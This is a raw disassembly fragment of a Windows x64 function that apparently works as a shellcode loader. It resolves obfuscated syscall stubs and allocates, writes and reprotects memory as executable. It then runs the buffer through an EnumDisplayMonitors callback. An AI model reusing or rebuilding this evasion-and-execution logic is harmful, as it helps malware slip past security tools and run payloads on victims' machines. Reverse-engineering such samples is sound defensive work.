mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x25d0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x25f0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x261f]
mov rcx, rax
call fcn.14009a3b0
nop
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x2620]
mov rcx, rax
call fcn.1400a8d40
mov r9, qword [rbp + 0x2dc8]
mov r8, qword [rbp + 0x2de8]
mov rdx, qword [rbp + 0x2dc0]
lea rax, [rbp + 0x2620]
mov rcx, qword [rbp + 0x2e10]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2ea0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.14000147d
mov dword [rbp + 0x2dbc], eax
lea rax, [rbp + 0x2620]
mov rcx, rax
call fcn.1400a9a00
cmp dword [rbp + 0x2dbc], 0
je 0x140006b89
lea rbx, [0x14011529a]
jmp 0x140006b90
lea rbx, [0x14011529f]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.14002f200
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.14001e890
lea rax, [rbp + 0x288f]
mov qword [rbp + 0x2d20], rax
nop
nop
lea rdx, [rbp + 0x288f]
lea rax, [rbp + 0x2860]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a91e0
lea rax, [rbp + 0x2840]
lea rdx, [rbp + 0x2860]
lea r8, [0x14011527e]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x2820]
lea rdx, [rbp + 0x2840]
lea r8, [0x140115294]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x2800]
lea rdx, [rbp + 0x2820]
lea r8, [0x140115288]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x27e0]
lea rdx, [rbp + 0x2800]
lea r8, [0x1401152e0]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x27c0]
lea rdx, [rbp + 0x27e0]
lea r8, [0x14011528c]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x27a0]
lea rdx, [rbp + 0x27c0]
lea r8, [0x14011528e]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x2780]
lea rdx, [rbp + 0x27a0]
lea r8, [0x14011528a]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x2760]
lea rdx, [rbp + 0x2780]
lea r8, [0x1401152e6]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x2740]
lea rdx, [rbp + 0x2760]
lea r8, [0x1401152d4]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x2720]
lea rdx, [rbp + 0x2740]
lea r8, [0x1401152de]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x2700]
lea rdx, [rbp + 0x2720]
lea r8, [0x1401152ce]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x26e0]
lea rdx, [rbp + 0x2700]
lea r8, [0x14011528a]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x26c0]
lea rdx, [rbp + 0x26e0]
lea r8, [0x140115286]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x26a0]
lea rdx, [rbp + 0x26c0]
lea r8, [0x14011527e]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x2680]
lea rdx, [rbp + 0x26a0]
lea r8, [0x14011528e]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x2660]
lea rdx, [rbp + 0x2680]
lea r8, [0x140115284]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x2640]
lea rdx, [rbp + 0x2660]
lea r8, [0x1401152d0]
mov rcx, rax
call fcn.1400b9b20
lea rdx, [rbp + 0x2640]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400a9a40
lea rax, [rbp + 0x2640]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x2660]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x2680]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x26a0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x26c0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x26e0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x2700]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x2720]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x2740]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x2760]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x2780]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x27a0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x27c0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x27e0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x2800]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x2820]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x2840]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x2860]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x288f]
mov rcx, rax
call fcn.14009a3b0
nop
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x2890]
mov rcx, rax
call fcn.1400a8d40
mov r9, qword [rbp + 0x2dc8]
mov r8, qword [rbp + 0x2de8]
mov rdx, qword [rbp + 0x2dc0]
lea rax, [rbp + 0x2890]
mov rcx, qword [rbp + 0x2e08]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2ea0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.14000147d
mov dword [rbp + 0x2dbc], eax
lea rax, [rbp + 0x2890]
mov rcx, rax
call fcn.1400a9a00
cmp dword [rbp + 0x2dbc], 0
je 0x140006f75
lea rbx, [0x14011529a]
jmp 0x140006f7c
lea rbx, [0x14011529f]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.14002f200
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.14001e890
lea rax, [rbp + 0x2b1f]
mov qword [rbp + 0x2d18], rax
nop
nop
lea rdx, [rbp + 0x2b1f]
lea rax, [rbp + 0x2af0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a91e0
lea rax, [rbp + 0x2ad0]
lea rdx, [rbp + 0x2af0]
lea r8, [0x14011527e]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x2ab0]
lea rdx, [rbp + 0x2ad0]
lea r8, [0x1401152cc]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x2a90]
lea rdx, [rbp + 0x2ab0]
lea r8, [0x140115290]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x2a70]
lea rdx, [rbp + 0x2a90]
lea r8, [0x14011528a]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x2a50]
lea rdx, [rbp + 0x2a70]
lea r8, [0x14011528a]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x2a30]
lea rdx, [rbp + 0x2a50]
lea r8, [0x14011528c]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x2a10]
lea rdx, [rbp + 0x2a30]
lea r8, [0x14011528e]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x29f0]
lea rdx, [rbp + 0x2a10]
lea r8, [0x140115290]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x29d0]
lea rdx, [rbp + 0x29f0]
lea r8, [0x14011527e]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x29b0]
lea rdx, [rbp + 0x29d0]
lea r8, [0x140115292]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x2990]
lea rdx, [rbp + 0x29b0]
lea r8, [0x140115288]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x2970]
lea rdx, [rbp + 0x2990]
lea r8, [0x140115282]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x2950]
lea rdx, [rbp + 0x2970]
lea r8, [0x140115294]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x2930]
lea rdx, [rbp + 0x2950]
lea r8, [0x14011528a]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x2910]
lea rdx, [rbp + 0x2930]
lea r8, [0x140115296]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x28f0]
lea rdx, [rbp + 0x2910]
lea r8, [0x140115284]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x28d0]
lea rdx, [rbp + 0x28f0]
lea r8, [0x140115290]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x28b0]
lea rdx, [rbp + 0x28d0]
lea r8, [0x140115298]
mov rcx, rax
call fcn.1400b9b20
lea rdx, [rbp + 0x28b0]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400a9a40
lea rax, [rbp + 0x28b0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x28d0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x28f0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x2910]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x2930]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x2950]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x2970]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x2990]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x29b0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x29d0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x29f0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x2a10]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x2a30]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x2a50]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x2a70]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x2a90]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x2ab0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x2ad0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x2af0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x2b1f]
mov rcx, rax
call fcn.14009a3b0
nop
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x2b20]
mov rcx, rax
call fcn.1400a8d40
mov r9, qword [rbp + 0x2dc8]
mov r8, qword [rbp + 0x2de8]
mov rdx, qword [rbp + 0x2dc0]
lea rax, [rbp + 0x2b20]
mov rcx, qword [rbp + 0x2e00]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2ea0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.14000147d
mov dword [rbp + 0x2dbc], eax
lea rax, [rbp + 0x2b20]
mov rcx, rax
call fcn.1400a9a00
cmp dword [rbp + 0x2dbc], 0
je 0x14000738d
lea rbx, [0x14011529a]
jmp 0x140007394
lea rbx, [0x14011529f]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.14002f200
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.14001e890
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov qword [rbp + 0x2db0], rax
mov dword [rbp + 0x2c], 0
mov qword [rbp + 0x20], 0
mov rax, qword [0x140111a10]
mov qword [rbp + 0x10], rax
lea rax, section..data
mov rcx, rax
call fcn.1400018f6
mov r10, qword [0x140142038]
lea rcx, [rbp + 0x10]
lea rdx, [rbp + 0x20]
mov rax, qword [rbp + 0x2db0]
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x1000
mov r9, rcx
mov r8d, 0
mov rcx, rax
call r10
mov dword [rbp + 0x2dac], eax
cmp dword [rbp + 0x2dac], 0
je 0x1400074db
lea rax, [rbp + 0x2b50]
lea rdx, [rbp + 0x2b4f]
mov rcx, rax
call fcn.140001a10
mov rax, qword [rbp + 0x2b50]
mov rdx, qword [rbp + 0x2b58]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2b60]
mov rdx, qword [rbp + 0x2b68]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2b70]
mov rdx, qword [rbp + 0x2b78]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2b80]
mov rdx, qword [rbp + 0x2b88]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x2b90]
mov rdx, qword [rbp + 0x2b98]
mov qword [rbp], rax
mov qword [rbp + 8], rdx
mov edx, dword [rbp + 0x2dac]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.14001e7b0
mov esi, 0
mov ebx, 0
jmp 0x140007833
lea rax, [rbp + 0x2bb0]
lea rdx, [rbp + 0x2baf]
mov rcx, rax
call fcn.140001ca2
mov rax, qword [rbp + 0x2bb0]
mov rdx, qword [rbp + 0x2bb8]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2bc0]
mov rdx, qword [rbp + 0x2bc8]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2bd0]
mov rdx, qword [rbp + 0x2bd8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2be0]
mov rdx, qword [rbp + 0x2be8]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x2be9]
mov rdx, qword [rbp + 0x2bf1]
mov qword [rbp - 7], rax
mov qword [rbp + 1], rdx
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.14001e530
mov r10, qword [0x140142040]
mov r9, qword [rbp + 0x10]
mov r8, qword [0x140142030]
mov rdx, qword [rbp + 0x20]
mov rax, qword [rbp + 0x2db0]
lea rcx, [rbp + 0x18]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call r10
mov dword [rbp + 0x2dac], eax
cmp dword [rbp + 0x2dac], 0
je 0x14000764f
lea rax, [rbp + 0x2c00]
lea rdx, [rbp + 0x2bff]
mov rcx, rax
call fcn.140001efc
mov rax, qword [rbp + 0x2c00]
mov rdx, qword [rbp + 0x2c08]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2c10]
mov rdx, qword [rbp + 0x2c18]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2c20]
mov rdx, qword [rbp + 0x2c28]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2c30]
mov rdx, qword [rbp + 0x2c38]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x2c3a]
mov rdx, qword [rbp + 0x2c42]
mov qword [rbp - 6], rax
mov qword [rbp + 2], rdx
mov edx, dword [rbp + 0x2dac]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.14001e600
mov esi, 0
mov ebx, 0
jmp 0x140007833
lea rax, [rbp + 0x2c50]
lea rdx, [rbp + 0x2c4f]
mov rcx, rax
call fcn.14000215e
mov rax, qword [rbp + 0x2c50]
mov rdx, qword [rbp + 0x2c58]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2c60]
mov rdx, qword [rbp + 0x2c68]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2c70]
mov rdx, qword [rbp + 0x2c78]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2c80]
mov rdx, qword [rbp + 0x2c88]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x2c8c]
mov rdx, qword [rbp + 0x2c94]
mov qword [rbp - 4], rax
mov qword [rbp + 4], rdx
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.14001e6e0
mov r10, qword [0x140142048]
lea r8, [rbp + 0x10]
lea rdx, [rbp + 0x20]
mov rax, qword [rbp + 0x2db0]
lea rcx, [rbp + 0x2c]
mov qword [rsp + 0x20], rcx
mov r9d, 0x20
mov rcx, rax
call r10
mov dword [rbp + 0x2dac], eax
cmp dword [rbp + 0x2dac], 0
je 0x14000779f
lea rax, [rbp + 0x2ca0]
lea rdx, [rbp + 0x2c9f]
mov rcx, rax
call fcn.1400023d0
mov rax, qword [rbp + 0x2ca0]
mov rdx, qword [rbp + 0x2ca8]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2cb0]
mov rdx, qword [rbp + 0x2cb8]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2cc0]
mov rdx, qword [rbp + 0x2cc8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov eax, dword [rbp + 0x2ccf]
mov dword [rbp - 0x11], eax
mov edx, dword [rbp + 0x2dac]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.14001e380
mov esi, 0
mov ebx, 0
jmp 0x140007833
lea rax, [rbp + 0x2ce0]
lea rdx, [rbp + 0x2cdf]
mov rcx, rax
call fcn.14000257a
mov rax, qword [rbp + 0x2ce0]
mov rdx, qword [rbp + 0x2ce8]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2cf0]
mov rdx, qword [rbp + 0x2cf8]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2d00]
mov rdx, qword [rbp + 0x2d08]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2d0f]
mov qword [rbp - 0x11], rax
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.14001e460
mov rax, qword [rbp + 0x20]
mov r9d, 0
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_EnumDisplayMonitors]
call rax
mov ebx, 1
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400a9a00
cmp ebx, 1
jne 0x140007849
mov esi, 0
mov eax, esi
jmp 0x140009176
add rsp, 0x2f30
pop rbx
pop rsi
pop rbp
ret